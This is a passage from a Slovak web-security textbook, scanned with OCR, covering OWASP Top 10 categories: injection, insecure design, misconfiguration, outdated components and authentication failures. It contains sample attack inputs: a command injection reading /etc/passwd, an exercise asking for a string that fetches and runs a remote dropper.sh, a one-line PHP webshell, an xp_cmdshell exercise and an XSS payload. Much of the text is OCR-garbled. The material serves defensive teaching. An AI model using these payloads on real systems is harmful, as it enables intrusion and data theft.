Co sa viak stane pre $reportName = “ cat /etc/passwd” ? Pokial na OS bezi bash
(unixovy (Linux/Unix/BSD) prikazovy shell interpreter, naprogramovany v ramci
projektu GNU), pre ten plati, ze bodkociarkou sa oddeluju prikazy, ktoré sa takto
zapisané v skripte alebo programe spustaju jeden za druhym. Tym padom sa
vykonaju prikazy:

e rm -f
e cat /etc/passwd

kedZe druhy prikaz zobrazi obsah stuboru /ect/passwd, tento bude funkciou
deleteReport zobrazeny. Do vstupu vkladame prikazy operac¢ného systému, preto sa
tento typ ttoku nazyva OS command injection.

(\D_} Aky retazec by ste zadali do $reportName, aby sa stiahol stibor http://1.2.3.4/dropper.sh
a tento stibor sa ndsledne spustil?

100 ktory napr. vyuzije kerberos ticket a prihlasovaci formular sa vobec nezobrazi.
y y
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Validacia vstupu a parametrizacia dotazov

RieSenim injection zranitelnosti je korektna validdcia vstupu. Niektoré typy
vstupnych dat je mozné oSetrit voci injection titokom jednoduchym aplikovanim
povolenych znakov.

[= Napr. pole, do ktorého je potrebné uviest datum narodenia, moze mat len
znaky z mnoziny { ‘0’, ‘1", 2, ‘3, '4’,'5','6', 7', '8, 'Y, " }. Aplikovanim filtra je
mozné odstranit:

e HTML injection aj XSS zranitelnosti - nie je mozné vlozit HTML tag, lebo znaky
ako ‘<’ a “>’ nie sti povolené,

e SQL injection - uz len z dovodu, Ze aj ¢ast SQL query musi obsahovat aj iné
znaky ako napr. ““* alebo *-/

e OS command injection - nakolko neexistuje prikaz opera¢ného systému, ktory
by tvorili len ¢islice a bodka.

(\D} Navrhnite povolené znaky pre nasledovné polia: priezvisko, e-mailovd adresa, ¢islo
kreditnej karty.

Co viak v pripade vstupov, kde nie je mozné aplikovat filter na znaky? Napr. pole
komentara moze obsahovat Iubovolné znaky. V takom pripade je potrebné vstup
spravnym sposobom zabalit (escaping) tak, aby sa celé pole tvarilo ako text:

e znaky ‘<’ a ‘> vieme nahradit za &lt; a &gt;
e znak ‘“* (Gvodzovky hore), je mozné nahradit pri escapovani retazcom
pripadne pouzitim kombinacie \”.

vz

Tymto pristupom je mozné vyriesit XSS ttoky a utoky, ktoré vyuzivaju vloZenie
refazca ako CSV injection a ¢iastocne SQL injection. Na o3etrenie SQL injection bol
vSak vymysleny mechanizmus parametrizacie dotazov (parametrized queries
alebo prepared statements). Parametrizacia dotazu je proces, pocas ktorého sa
nadefinuje, ako vyzera SQL dotaz a vstup je naparovany'®! na parametre dotazu.

[ Vezmime si zranitelny SQL prikaz z kapitoly SQL injection:

select id from users where username = ‘administrator’
and password = BCryptor.HashPassword( ‘password’, ‘salt’);

v ramci zraniteIného PHP kédu by vyzeral napr. nasledovne:

4 ’

$query = “select id from users where username = + $username +
and password = BCryptor.HashPassword(‘ + $password + ', ‘ + $salt
+ 1)

$result = $mysqli—query($query, MYSQLI_USE_RESULT);

10 nabindovany
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pri bindovani parametrov vyzera kéd nasledovne:

#vytvori sa dotaz a otaznikmi sa identifikujd miesta parametrov

$statement = mysqli_prepare(“select id from users where username =
? and password = BCryptor.HashPassword( ? , ? );");

#nabindujl sa vSetky tri parametre na typ string'®?, preto je prvy
#parameter ‘sss’

$statement = bind_param(‘sss’, $paraml, $param2, $param3);
#naplnia sa parametre

$paraml = $username

$param2 = $password

$param3 = $salt

#spusti sa dotaz

$statement—execute()

(\D} Pozrite sa na zranitel'né priklady z tejto kapitoly a navrhnite spdsob oSetrenia vstupu.

A04 Insecure Design

V predchadzajicej kapitole sme sa venovali zranitelnostiam v zdrojovom kdde
aplikacie. Aplikacia vSak moze byt zranitelnd, aj ked v zdrojovom kdde ziadna
zranitelnost nie je. Stane sa to vtedy, ak je nevhodne nadizajnovana a/lebo ma
zranitelnost v architekture.

Nevhodny dizajn alebo aplikovanie privilégii

V kapitole A01 Broken Access Control sme si hovorili o nevhodne nastavenych
pristupovych pravach v aplikacii. Tento stav moéze byt vysledkom nevhodného
dizajnu. Dizajn a architekttra vsak zahfna okrem privilégii v aplikacii samotnej aj
privilégia jednotlivych aplikacnych komponentov. Pristupy pouZzivatelov
databazovej sluzby, webového servera ¢i pouzivatel'ského tctu v databaze by mali
spifiat princip najnizsich moznych opravneni (“least privilege”).

=y Vezmime si extrémny priklad, kedy databdzovy server bezi pod pravami
doménového administratora Active Directory. Tento stav je velmi “vyhodny”
pre lenivého administratora, lebo takyto privilegovany pouzivatel ma
spravidla pristupy ku vSetkym zdrojom v ramci Active directory.
Administrator sa potom nemusi trapit s tym, ¢i ma DBMS prava zapisovat do
zdielanych priecinkov, pretoZe doménovy administrator sa spravidla dostane
véade'™, Co vSak znamend takyto pristup z pohladu utoénika?
V pripade, ze sa uto¢nikovi podari printatit DBMS, aby spustil kod na
operacnom systéme, tento kod pobezi s pravami doménového administratora.
Na tento tcel je potrebné pouzif (zretazit) viacero zranitelnosti, napr.:

12 https://www.php.net/manual/en/mysqli-stmt.bind-param.php
15 ¢o samo osebe nie je dobry dizajn Active Directory - doménovy administrator by nemal
mat prava na member serveroch domény. Vie si ich vsak pridat.
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o (Injection) spustit SQL kod prostrednictvom SQL injection,

e (Misconfiguration) vyuzit nevhodnu konfiguraciu SQL databazy - povoleny xp_
cmdshell - a spustit kod na opera¢nom systéme,

e (Insecure design) vyuzif nevhodné privilégia servisného uctu DBMS na
spustenie kddu ako doménovy administrator.

@_} Vyhl'adajte na internete, ako funguje xp_cmdshell. Ako by ste upravili zranitelny select
z kapitoly o SQL injection,

$query = “select id from users where username = ‘ +
$username + ' and password = BCryptor.HashPassword(‘ +
$password + ', ‘ + $salt + ");";

aby spustil kéd cez xp_cmdshell, ktory vypise prikaz whoami.exe?
Spristupnenie citlivych adajov
Nevhodné ulozenie citlivych tidajov spravidla zahrna viaceré problémy:

1. Citlivé tidaje nie st dostatocne chranené riadenim pristupu (napr. CWE-266
Incorrect Privilege Assignment).

2. Citlivé tdaje nie st zasifrované (napr. CWE-311 Missing Encryption of Sensitive
Data).

3. Citlivé udaje su spristupnené nevhodnym oSetrenim chyb (napr. CWE-209
Generation of Error Message Containing Sensitive Information).

Pretoze prvé dva problémy sme si vysvetlili na predchadzajacich stranach, podme
sa pozriet na treti problém. Nevhodné osetrenie chyb ma spolu s nevhodnou
konfiguraciou aplikacného servera a/lebo programovacieho frameworku za
nasledok, ze sa vypiSe detailnd informdacia o chybe, ktord moze obsahovat citlivé
udaje. Par prikladov chybovych hlasok, ktoré zobrazuju aj citlivé informacie mozete
vidiet nizsie.
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HTTP Status 500 -

"1 Exception report

messagel

[TEToi s The server encountered an internal error that prevented it from fulfilling this request.
lexception

java.lang.NullPointerException
com.examresults.Database.checkLogin(Database.java:82)
com.examresults.Login.doPost (Login.java:59)
javax.servlet.http.HttpServlet.service(HttpServlet.java:650)
javax.servlet.http.HttpServlet.service(HttpServlet.java:731)
org.apache.tomcat.websocket.server.WsFilter.doFilter (WsFilter.java:52)

[IFT% The full stack trace of the root cause is available in the Apache Tomcat/7.0.68 (Ubuntu)_logs.

Apache Tomcat/7.0.68 (Ubuntu

Obr.: Chybovy vypis'™ obsahuje informdcie o programovacom jazyku (Java), pouZityjch
triedach a verzii webového servera a Linuxovej distribiicie operacného systému.

Server Error in /" Application.

A network-related or instance-specific error occurred while establishing a connection to SQL Server,
The server was nol found or was not accessible. Verify that the instance name is correct and that SQL
Server is configured to allow remote connections. (provider: Named Pipes Provider, error: 40 - Could
not apen 3 connection to SQL Server)

Dwbcraphion: & shmied foRpns sooures A0my B Faenice oF Fa et At gl Pes rwors Fa s kon b s nieaton shos B B 0 woey | srgramd r e ool

Encophonn Dedasds: Trves Do Solmer Lol siepies & serein owmined o raipin- a0l oo Fowr el =hm suatinteg o orveciet W S0 Terer The peeee min St o0 mk
wTmake ety B T rancr ame 8 T B T 50 Serow 8 aniguned I siow neowr mnnecions (e hames P Prnder e 65 Do ngt open 8 arnecior i T, e

Saurie Drren

Lime 15t string conftring = § Isfnial Catalogise df Ietegrated Secwrity=S591";
Lime B8: SqiCemnect iom gon = m:

Lime §7: con.Opea();

Line 18: string gry = chfltl Mane, IFLid from u"rnrui\f;

Lins 15:

Sounce Pl 0wy istdapicaion Tiisbansicaton 'Logn mss oo | Lines 1T

Obr.: Chybovy vypis obsahujiici interné IP adresy a informdciu o databdze, o zdrojovom
operacnom systéme (Windows) a o mieste ulozenia suiboru na siiborovom systéme,
v ktorom sa chyba vyskytla.'®

RieSenim je spravna konfigurdcia webového servera a programovacieho
frameworku tak, aby nezobrazoval chybové hlasky. Pokial je chybova hlaska
generovana aplikaciou, je potrebné dbat na to, aby v nej neboli zobrazené citlivé
informdcie. Dolezité je tiez dbat na rozliSovanie vyvojového, testovacieho
a produkcného prostredia aplikacie. Produkcéné prostredie by malo mat vsetky
debug spravy vypnuté.

(\D_} Vyhladajte na internete, ako vypnete zobrazovanie chybovych hldsok vo webovom
serveri Apache.

104 Obrazok prevzaty z https://resources.infosecinstitute.com/topic/how-to-exploit-
improper-error-handling/

15 Obrazok prevzaty z https://echeloncyber.com/intelligence/entry/hackers-perspective-
web-app-vulnerabilities-detailed-error-messages
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Nechraneny upload stuborov

Nechraneny upload stiborov (CWE-434 Unrestricted Upload of File with Dangerous
Type) moZze viest k viacerym problémom. Najhorsim je nahratie Skodlivého stiboru
a jeho nasledné spustenie, pripadne spustenie skodlivého kédu v stibore. Vhodny
priklad zneuzitia uvadza priamo MITRE!*:

// ciel, do ktorého sa zapisSe uploadnuty sibor.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Presun sUboru do cielového umiestnenia

if(move_uploaded_file($_FILES['uploadedfile']["'tmp_name'],
$target))

{

echo "The picture has been successfully uploaded.";

}

else

{

echo "There was an error uploading the picture, please try
again.";

}

Problém je, zZe sa nekontroluje, aky subor sa moze nahrat na server, a preto namiesto
obrazka moze tito¢nik nahrat jednoduchy webshell malicious.php:

<?php system($_GET['cmd']); ?>

anasledne zavolat IubovoIny prikaz opera¢ného systému, napr.:

http://server.example.com/upload_dir/malicious.php?cmd=1s%20-1
RieSenie tejto zranitelnosti spociva vo:

e filtrovani nevhodnych stiborov,
e upload lokdcia ma vypnuty execute flag.

@_} Pripravte prezentdciu o tom, aky je rozdiel medzi filtrovanim siiborov podla pripony
a podla MIME type.

Spoliehanie sa na bezpecnost klienta

Spoliehanie sa na bezpecnost klienta (CWE-602 Client-Side Enforcement of Server-
Side Security) je kriticka chyba. Klient ma totiz moznost modifikovat akékol'vek
data, ktoré posiela na server. Prikladom takejto chyby je napriklad webovy formular,
ktorého kontrola sa spolieha vylu¢éne na JavaScript. Pokial vSak prehliadac
nahradime'” nastrojom na penetracné testovanie, ktory sa sprava ako proxy, tak
mozeme ovplyvnit akékolvek zaslané data.

106 https://cwe.mitre.org/data/definitions/434.html

107 alebo pouzijeme vhodny plugin

141



[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Deco
2

LG{: | Cance <|T > |
Issue the request
Request

J Raw T Params T Headers T Hex ]

GET

SHebiGoatfattack?Screen=42587emenu=2000TY 1=1QTY2=1QTY3
S1EQTVd=1kfield2=4128+3214+0002+1999Efieldl=111xft0g" %3
esicacript¥iealert (document.domain ) $3ick2facript$Eiegayc]
zakbd fESUBMIT=Purchaz=e HTTP/1l.1

Hoat: 172.16.67.1587

User-agent: Mozilla/5.0 [(Macintozh; Intel Mac Q5 K
10,125 rv:58.0) Geckos20100101 Firefox/%8.0

Bccept:

e

Obr.: Manudlna tvorba HTTP requestu v ndstroji Burp suite.

Security through obscurity

& Security through obscurity (CWE-656 Reliance on Security Through Obscurity)

je dizajnovy “pristup”, ktory sa spolieha na utajenie samotného dizajnu ako
hlavny bezpecnostny mechanizmus. Toto nie je v stlade s dobrou praxou a casto
vychadza z domnienky tvorcu rieSenia, ze zakamuflovanie nedostatkov odradi
utocnikov. Da sa opisat aj slovami: “to nikoho nenapadne sktisat”. Security through
obscurity je mozné najst vo vsSetkych oblastiach bezpecnosti, nielen v ramci
bezpecnosti vyvoja softvéru.

[ Prikladom mézu byt “easter egg” URL v PHP:

e https://example.com/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42:
PHP Logo

e https://example.com/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000:
PHP Credits

e https://example.com/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42:
Zend Engine logo

e https://example.com/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42:
PHP Logo Easter Egg
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PHPF Faster Egg Lugus for Versions:

4.0.0-%.2.3 4.3.0-4.3.10 4.3. 11 4.4.6
& 5.0.14-5.1.2

5.0.0-5.0.3 5.1.3-5.2.13 5.3.0-<5.5

Obr.: PHP easter eggs. Obrdzok prevzaty zo stranky
http://mewbies.com/easter_eggs_and_then_some.htm, kde ndjdete aj dalsie easter eggs.

V tomto pripade je tazké povedat, Ze uvedené URL nikto nemoze ndjst, nakolko
PHP je open source project.

@ Vyhl'adajte v kapitoldch A01 a A02 priklady security through obscurity.

Chyby v biznis logike

Chyby v biznis logike aplikacie (CWE-840 Business Logic Errors) sti sadou roznych
typov chyb v tom, ako aplikacia spractiva data a/lebo ako data tecu cez rdzne
komponenty aplikacie (pripadne ekosystému aplikacii). Chyby v biznis logike st
spravidla tazko odhalitelné automatizovanym spdsobom.

[ Prikladom mdZe byt nastavenie zapornej ceny produktu v ndkupnom kosiku.

(\D} Vrdtte sa k filtru, ktory ste vytvorili v kapitole Validdcia vstupu a parametrizdcia
dotazov. Viete filter upravit tak, aby pre produkt v hodnote 100 €

1. nebolo mozné zadat zdpornii cenu?
2. nebolo mozné zadat cenu 10 €2

Ako odhalit chyby v dizajne

Chyby v dizajne sa odhalit daja. Na rozdiel od chyb v zdrojovom kéde alebo
konfiguracii ndam vSak nemusi pomoct bezpecnostny softvér. Zakladom su totiz
procesné opatrenia v ramci procesu bezpecného vyvoja softvéru, ako napr.:

e urobit dizajn - nepreskocit tato fazu SDLC a vrhnat sa rovno na
programovanie. V rdmci dizajnovania softvéru je potrebné, aby sticastou dizajn
fazy bola aj verifikacia z pohfadu bezpecnosti a ochrany dat a stukromia
pouzivatelov.

e pouzivat bezpecné dizajnové Sablony - pri vyvoji plati, Ze recyklacia zrychluje
cely SDLC. Plati to pri zdrojovom kode, ale aj pri dizajne. V ramci dizajnu je
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mozné definovat bezpecné dizajnové vzory / Sablény (secure design patterns),
ktoré je mozné pouzivat pre rozne projekty.

e vykonat modelovanie hrozieb - nad definovanym spdsobom vykonat
modelovanie hrozieb (threat modeling), ktoré pomoze odhalit (aj) chyby
v dizajne.

o pokryt vSetky kritické toky dat testami - obzvlast pri chybach v biznis logike je
potrebné ustriehnut, ¢i tok dat nie je pozmeneny a data davajt logicky zmysel.

AQ5 Security Misconfiguration

Nevhodné bezpecnostné konfigurdcie (security misconfiguration) zahfiiaja Siroku
paletu problémov, ako napr.:

nedostato¢ny hardening aplikdcie alebo jej komponentov,
povolené nepotrebné sluzby alebo sietové porty,

ponechané vzorové konfiguracie,

nezmenené hesla pre prednastavené (defaultné) kontd,

vypinanie alebo nevhodna konfiguracia bezpecnostnych nastaveni.

Podme sa pozriet na niektoré nie tplne jasné priklady nevhodnej bezpecnostnej
konfiguracie.

Cookie flags a neSifrované citlivé data v cookies

Cookie je pristupnd klientovi a posiela sa ako sticast HTTP requestu smerom na
server. V pripade, Ze cookie obsahuje citlivé data, tieto by mali byt chranené
v samotnej cookie (Sifrovany obsah cookie - CWE-315 Cleartext Storage of Sensitive
Information in a Cookie) a pri jej prenose. Cookie mdze obsahovat viacero priznakov
(flags), ktoré hovoria o tom, ako sa ma s cookie narabat. Z pohladu bezpecnosti nas
zaujimajui primarne priznaky:

e Secure - cookie nemdze byt poslana cez protokol HTTP na server'®, musi sa
pouzit protokol HTTPS,

e HttpOnly - cookie nie je dostupna z JavaScript cez document.cookie,

e SameSite - ma viacero nastaveni, ktoré obmedzuju z akych site je cookie
dostupna.

\®_} Popiste, pred akymi titokmi by ste chrinili cookie nastavenim priznakov Secure,
HttpOnly a SameSite? Vyhladajte CWE, pokial tieto priznaky chybaji.

@_} Vyhl'adajte na internete a vysvetlite rozdiel medzi Strict, Lax a None nastavenim pre
priznak SameSite.

18 s vynimkou localhost
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Prihlasovacie tudaje v suboroch alebo premennych
prostredia

Aplikacia mdze potrebovat na svoj beh prihlasovat sa do dalsich sluzieb - typicky do
databazy. Kde vSak bezpecne uloZit prihlasovacie meno a heslo? Niektoré aplikacie
to rieSia nevhodnym sp6sobom, napr.

uloZenim do suboru (CWE-260 Password in configuration file). Problém je zjavny:
ktokol'vek, kto ma pristup k takémuto konfiguracnému stiboru, ma pristup aj
k danej sluzbe s opravnenim, ktoré ma aplikacia.

[ Priklad: vytvorenie spojenia n MySQL databézu.

config.php:

<?php

$servername = "localhost";
$username = "username";
$password = "password";

?>

somefile.php

<?php

include ‘config.php’'; #spristupnime premenne zo suboru config.php

$conn = new mysqli($servername, $username, $password); #nove

spojenie na DB

// kontrola spojenia

if ($conn—>connect_error) {
die("Connection failed: "

}

echo "Connected successfully";

. $conn—connect_error);

?>

Ulozenim do premennych prostredia (CWE-526 Exposure of Sensitive Information
Through Environmental Variables). Problém je, Ze k premennym prostredia majt
pristup aj iné procesy, a preto nie st prihlasovacie tidaje chranené.

[ Priklad: vytvorenie spojenia na MySQL databédzu z environment variables.

<?php
$servername = getenv('REMOTE_ADDR'); #vytiahneme IP adresu DB
servera

$conn = new mysqli($servername, $username, $password); #nove
spojenie na DB

Pod'me sa pozriet, aké je spravne rieSenie uloZenia prihlasovacich tidajov. Pokial
aplikacia bezi v prostredi Active Directory, tak je mozné vyuzit nativhu Windows
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autentifikaciu. Druhé rieSenie je pouzit secret vault/secret manager na bezpecné

uloZenie prihlasovacich tidajov.

(\D_} Vytvorte prezenticiu o prinosoch AWS Secret Manager. Aké dualsie bezpecnostné
problémy riesi jeho vyuZitie?

HTTP hlavicky

& HTTP hlavicka (header) umoznuje poslat klientovi alebo serveru dodatocné

informacie v HTTP dotaze alebo odpovedi. HTTP hlavicka pozostava z parov:
<hlavicka> : <hodnota>. Z pohladu bezpecnej konfigurdcie nds budiu zaujimat
response hlavicky'?”, pretoze tieto sa konfigurujui na strane HTTP servera.

Nastavenim spravnych HTTP hlaviciek je mozné vhodnym spdsobom ovplyvnit
spravanie sa webového prehliadaca. Podme sa pozriet na niektoré HTTP hlavicky:

1. Content-Security-Policy - tato hlavicka definuje, z akych sites (lokalit) je mozné
nacitat zdroje na webovu stranku: obrazky, fonty a, co je z pohladu bezpecnosti
dolezité, JavaScript kod'.

2. X-Frame-Options - tato hlavicka definuje, ¢i obsah site mdze bezat v ramci
iframe (iframe je HTML a XHTML element umozniujuci vo webovej stranke
vymedzit plochu pre vloZenie inej webovej stranky). Beh v iframe sa vyuziva na
utok nazyvany Clickjacking™ (clicks hijacking), kedy tito¢nik prostrednictvom
JavaScriptu odchytava udalosti nad site beziacou v iframe:

nt

is transparent

ked website 18 Tra0EE
Axtacked WE 1 '

Fake input controls positioned
under the hijacked web controls

User provides username and password.
All these clicks are hijacked by the invisible frame.

Obr.: priklad prekrytia internet bankingu prostrednictvom iframe™?

1

o

° https://developer.mozilla.org/en-US/docs/Glossary/Response_header

10 viac informacii tu: https://scotthelme.co.uk/content-security-policy-an-introduction/
- https://owasp.org/www-community/attacks/Clickjacking

112 prevzaté z https://www.cloudmotion.com.br/blog/2016/08/18/sobre-iframe-e-
clickjacking/
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3. X-Content-Type-Options - hlavicka, ktora vie zabranit, aby pouzivatelom
uploadnuty obsah mal nespravne nastaveny MIME type, napr. spustitelny
subor by sa tvaril ako obrazok. Tento spdsob je vyuZzivany na drive-by-
download utoky.

4. Referrer-Policy - tato hlavicka hovori o rozsahu informacii obsiahnutych
v referrer pri odkliku zo site na int lokalitu. HTTP request odkliku na int
lokalitu potom nesie v referrer header tento rozsah informacii. Tym padom vie
tento iny web, odkial sa k nemu dostavaji navstevnici'®.

5. Permissions-Policy - je hlavicka, ktora hovori prehliadacu, aké opravnenia site
potrebuje pre svoje fungovanie, napr. geolokaciu, mikrofén alebo kameru.

6. Server a X-Powered-By - obe hlavicky informuju o pouZitych technologiach na
strane webového serveru, pricom takéto informacie mézu byt pre ttocnika
dolezité. Napriklad, pokial hlavicka Server odpovie konkrétnou verziou
webového servera, titocnik moze ndjst zranitelnost a aj sposob zneuzitia, ¢o
moze viest k rdznemu dopadu - od jednoduchého zverejnenia citlivych
informacii aZ po tplnt kompromitaciu aplikacie a webového servera.

(\D} Definujte Content-Security-Policy hlavicku pre aplikdciu www.aplikacia.sk z kapitoly
o0 cross-site scriptingu tak, aby bolo mozné spustit len lokdlne JavaScript siibory
a subory z domény jquery.com.

\®_} VyuZite ndstroj hitps://securityheaders.com/ na oskenovanite vami vybraného webu

a navrhnite sposob opravy zistenyjch bezpecnostnych konfigurdcii.

Zhrnutie

(\D} Konfiguracné chyby st casto opominanym typom chyb, hlavne pokial sa
vyvojar sustred’uje na samotnu aplikaciu. Dobrou spravou pre nas je existencia
odportcanych nastaveni. Prikladom st:

o OWASP cheat sheets (fahaky),
e Center for internet security (CIS) benchmarks.

Oba zdroje st1 zadarmo pristupné na nekomercné pouzitie'.

3 viac informacii tu: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/
Referer

4y pripade CIS benchmarks je na komercné vyuzitie potrebné byt ¢lenom CIS.
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A06 Vulnerable and Outdated Components

Operacny systém, DBMS, aplikacny server, programovaci
jazyk a framework

O tejto casti sme si vraveli v prvom aj druhom dieli ucebnice. Z pohl'adu bezpec¢nosti
aplikacie je potrebné dbat na aplikaciu zaplat vSetkych komponentov, na ktorych
bezi, t.j. verzie:

e firmware a virtualizacnej vrstvy,

operacného systému,

docker / kubernetes,

DBMS,

aplikacného serveru,

programovacieho jazyka - napr. aktudlne balicky PHP, Python, ...
frameworku - napr. Laravel, Flask, ...

(\D} Akym ndstrojom by ste skontrolovali, ¢i majii uvedené komponenty aktudlne zdplaty?

Kniznice a zavislosti

Velkou vyhodou pisania softvéru je moznost vyuzit existujuce baliky a kniznice.
Nami napisany softvér potom zavisi od tychto dodatocnych balikov a kniznic. Tie
vsak mozu mat svoje vlastné zavislosti, ktoré potom majui svoje zavislosti a tak dale;j.
Zavislosti vieme vizualizovat vo forme grafu zavislosti (dependency graph).

;;;;;; ime

C.ejaxrs ersey-min
C.q.gatevay.appservice.update

.
.q.smarthome.config.system.backup

. p.mbs system_bundle

c.q.runtme.update.api

vvvvvv

[ ———

Obr.: priklad grafu zdavislosti'™

15 Obrazok prevzaty z https://github.com/amitjoy/dependency-graph-osgi
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A

Mat prehlad o zavislostiach je dobrym zaciatkom. Tento prehlad moze byt
prilozeny vo forme software bill of materials (SBOM). SBOM je zoznam
vsetkych komponentov, z ktorych sa sklada softvér.

Vytvorte prezenticiu, ako funguje OWASP Dependency Track. DokdzZe generovat
SBOM?

Problémom z pohladu bezpecnosti je, ako udrziavat vsetky zavisiace kniZnice,
baliky a komponenty aktualizované. Toto otvara viacero otazok:

A

Je pouzity komponent z originalneho projektu alebo je odclenenym projektom
(fork)!e?

Je pre komponent k dispozicii novsia verzia?

Je komponent este udrziavany? Hlavne pri open source komponentoch moze
byt vyvoj ukonceny, pokial softvér neméa dalej kto udrziavat.

Je komponent alebo jeho novsia verzia bezpecna? V pripade software supply
chain utoku je mozné zaniest do komponentu zlomyselnt (malicious)
funkcionalitu.

Je novsia verzia spatne kompatibilna s verziou, ktortt moj softvér pouziva?

Prave posledna otazka je velmi doleZzita hlavne pri vac¢sich zmenach. Tvorcovia
balika mo6zu oznacit niektoré procedtry, funkcie alebo triedy ako obsolete
alebo deprecated. To znamena, ze by sa nemali pouzivat a v niektorych
z nasledujucich verzii balika budu vyradené. Este vacsie zmeny mozu nastat
v rozdieloch medzi major verziami programovacieho jazyka alebo
frameworku. Pri aktualizacii balika na novti major verziu zostane spravidla
aplikacia, ktora bola napisana pre starti verziu, nepouzitelna a je potrebné ju
preprogramovat'?’.

Vyhl'adajte na internete, ktoré funkcie v PHP 7 sii deprecated oproti PHP 5.

Prikladom software supply chain zranitelnosti je Log4j zranitelnost CVE-2021-
44228"8, Zranitelnost v kniznici Log4j sposobila, Ze softvér, ktory vyuzival tito
kniznicu, mohol byt zranitelny voci Log4shell atoku.

Prikladom software supply chain ttoku je kompromitacia softphone softvéru
3CX z roku 2023, V tomto pripade bol na zaciatku ttoku pozmeneny softvér
X_Trader na elektronické obchodovanie, ktory si nainstaloval jeden zo
zamestnancov 3CX. Prostrednictvom skodlivej funkcionality na vzdialeny
pristup (RAT - remote access trojan) sa utocnikovi podarilo modifikovat

116

117

118

119

Pri open source projektoch sa stava, Ze odclenené projekty sice prindsaju zaujimavé
funkcionality, ale do kodu sa dostdva aj obsah, ktory by vyvojar origindlneho projektu,
napriklad aj s ohladom na bezpecnost, nechvalil. Viz. napr.: https://www.ndss-
symposium.org/wp-content/uploads/madweb2022_23001_paper.pdf

alebo napisat nanovo (from scratch), ¢o je niekedy rychlejsie.
https://community.tenable.com/s/article/Log4Shell-FAQs
https://blog.talosintelligence.com/3cx-softphone-supply-chain-compromise/
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zdrojové koédy 3CX tak, aby obsahovali skodliva funkcionalitu. Tento
modifikovany 3CX softvér nasledne umoznil tto¢nikovi pristup do sieti
zakaznikov 3CX.

miEE®m e

The Huge 3CX Breach Was Actually 2 Linked Supply Chain Attacks

The mass compromise of the VoIP firm’s customers is the first confirmed incident where one soft pply-chain attack bled another, r S
say.

Obr.: kompromiticia 3CX na portali Wired'®

AQ7 Identification and Authentication Failures

Identifikacia a autentizacia st kI'icové kroky, ktoré je potrebné urobit pred tym, ako
mozeme vObec hovorit o riadeni pristupu. Pri riadeni pristupu sme vraveli
o tisicorakych cestach, ktorymi sa da toto riadenie pokazit. Pre identifikaciu
a autentizaciu plati to isté.

(\@_} Na zdklade znalosti z proych dvoch dielov ucebnice vysvetlite rozdiel medzi
identifikdciou a autentizdciou.

Brute-force, credentials stuffing a politika hesiel

V predchadzajtcich dieloch ucebnice sme sa venovali heslam, sile hesla a politike
hesiel.

Heslo je retazec znakov, ktory je faktorom pri autentizacii - nieco, ¢o viem.
Sila hesla je miera efektivnosti hesla voci brute-force titoku.

Politika hesiel je konfiguracné nastavenie, ktoré vynucuje silu hesla v informac¢nom
systéme.

V prvom dieli u¢ebnice sme si hovorili o titokoch na hesla.
(\D_} Zopakusjte si z proého dielu ucebnice, co znamend:
° 1itok voci prihlasovaciemu formuldru aplikdcie - slovnikovy titok, titok hrubou silou,

o recykldcia hesiel a 1itok credentials stuffing.

Na ochranu vodi slovnikovému ttoku a ttoku hrubou silou je potrebné aplikovat
kombinaciu viacerych opatreni:

120 https://www.wired.com/story/3cx-supply-chain-attack-times-two/
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1. mat politiku hesiel, ktora vyzaduje zadanie silného hesla,
2. spomalit titok na prihlasovaci formular prostrednictvom:

o)

. ulohy, ktort nevie vyriesit bot - napr. CAPTCHA,

b. doc¢asnym alebo trvalym blokovanim kombindcie IP adresy tto¢nika a uictu,
ktory sa ttoc¢nik snazi prelomit, na definovany cas. V pripade, Ze budeme
blokovat len tcet, vie titocnik elegantne DoS-ovat prihlasenie pre zname
ucty. V pripade, ze budeme blokovat len IP adresu, mozeme takto
zablokovat vsetkych pouzivatelov, ktori maji kvoli hide-NAT rovnaku IP
adresu ako ttocnik.

c. identifikacie a blokovania bot-ov, ktori ttok realizuji - napr. ¢asovym

sekvenovanim, podla HTTP hlaviciek alebo TLS cipher suites.

(\D} Vysvetlite, preco politika hesiel v aplikdcii nie je ochranou voci credentials stuffingu.
Vyhladajte na internete sluzby, ktoré mozZe vyvojdr pouzit na zistenie, Ci je
pouzivatel'ské heslo prezradené (leaked).

(\D} Aké opatrenie pomoze s ochranou voci slovnikovému titoku, vitoku hrubou silou aj
credentials stuffingu?

Nedostato¢na validacia certifikatov

Validécia certifikatov je komplikovany proces. V druhom dieli ucebnice sme si
hovorili o certifikatoch verejného kluca, certifikaénych autoritich a retazi
certifikatov. Program overujuci certifikdt musi vykonat vela krokov a je jednoduché
spravit chybu vedtucu k CWE-295 Improper Certificate Validation.

151



[= Vezmime si jednoduchy priklad:

a3
Subject: Firma
podp <:| s.r.o.
IS Issuer: CA s.r.o.

Subject: CAs.r.o.
Issuer: Root CA
S.r.o.

Subject: Root CA
s.r.o.

Issuer: Root CA
S.r.o.

Obr.: jednoduchd retaz certifikdtov

Pre validaciu podpisu je potrebné skontrolovat:

e (i data sedia k podpisu - spravit has dat a overit verejnym kIt¢om podpis
podpisujticeho,

e (¢as podpisu dat,

o (isedimeno v certifikate s menom entity, ktora sa certifikatom prezentovala.

Pre validaciu vSetkych certifikatov je potrebné skontrolovat:

e (isedi podpis na certifikate,

¢i certifikat nie je expirovany - podla ¢asov Not Before: a Not After:

¢i sedi Issuer a Subject v certifikate a ich verejné kltuce,

¢i sedi uicel pouzitia certifikatu - podpisovanie dat, resp. certifikatov / CRL,

¢i certifikat nebol zruSeny - na toto je potrebné skontrolovat CRL alebo vyuzit
OCSP protokol.

Pre Root CA certifikat je eSte navySe potrebné overit, ¢i doverujeme tomuto
certifikatu''. V neposlednom rade musime este vymysliet, ako sa zachovat, pokial
nie st k dispozicii vSetky informacie pre overenie podpisu alebo certifikatu - napr.
chyba CRL.

Nie div, Ze sa vyvojari snazia zjednodusit si niektoré kroky, ¢o potom vedie k tomu,
ze doveruju certifikatu, ktorému by verit nemali.

121 pretoze Root certifikat certifikuje zaroven aj sam seba.
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£,

". 5 \ National Security Agency | Cybersecurity Advisory

Patch Critical Cryptographic Vulnerability in Microsoft Windows
Clients and Servers

Summary

NSA has discovered a critical vulnerability (CVE-2020-0601) affecting Microsoft Windows®' cryptographic functionality.
